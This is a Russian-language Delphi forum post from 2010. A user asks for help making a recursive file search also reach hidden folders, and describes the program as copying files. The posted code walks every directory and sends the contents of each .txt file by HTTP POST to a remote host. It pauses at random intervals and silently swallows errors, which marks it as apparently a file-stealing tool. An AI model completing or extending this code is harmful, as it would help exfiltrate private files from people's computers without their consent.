Показать сообщение отдельно
  #1  
Старый 11.02.2010, 04:06
dm77 dm77 вне форума
Прохожий
 
Регистрация: 11.02.2010
Сообщения: 1
Репутация: 10
По умолчанию Вопрос по Поиску

Суть в том чтобы программа нашла файл по имени во всех директориях и скопировала из этих директорий все файлы с определенным расширением.
Программа работает, но только если папка не является скрытой, как только для папки выставляю атрибут "Скрытая" программа ничего не находит. В Делфи плохо разбираюсь, уже голову сломал. Помогите с заковыркой. Код:
Код:
procedure Send_all(Way:String);

begin

 try
 If FindFirst(Way+'*.txt',faAnyFile-faDirectory,TS)=0 then

      repeat

        If TS.Name<>'name.txt' Then
        begin
          //
          try
            ZeroMemory(@szBuf, SizeOf(szBuf)); //обнуляем массив
            lstrcpy(szBuf, PChar('fname='+TS.name+folder.name+'&data='));
            lstrcat(szBuf, ((GetFileData(PChar(Way+TS.name)))));
            SendPOSTData(Host,
              Path,
                szBuf);
            except end;

           end;

            until FindNext(TS) <> 0;
           FindClose(TS);
 except end;


end;


function Search():string;
var p:string;
    c:char;
//Рекурсивный поиск файлов
function FindFile(var path:string; const mask:string):boolean;
var SRec:TSearchRec;
    retval:integer;
    oldlen:integer;
begin Result:=true;
      oldlen:=length(path);
      retval:=FindFirst(path+mask,$3F,SRec);    //faAnyFile
      while retval=0 do begin
	if ((SRec.Attr and $18)=0)then begin           //faDirectory or faVolumeID
           Send_all(path);
          end;
         if Wait>0 then sleep(random(wait*1000));
	retval:=FindNext(SRec)
      end;
      FindClose(SRec);
      if not Result then exit;
      retval:=FindFirst(path+'*.*',$10,SRec);   //faDirectory
      while retval=0 do begin
	if (SRec.Attr and $10)<>0 then          //faDirectory
	  if (SRec.Name<>'.')and(SRec.Name<>'..') then begin
	    path:=path+SRec.Name+'\';



	    if (not FindFile(path,mask)) then begin
	      Result:=false;
	      Break;
	    end;
	    delete(path,oldlen+1,255)
	  end;
	retval:=FindNext(SRec);
      end;
      FindClose(SRec);
end;
Admin: Пользуемся тегами!
Ответить с цитированием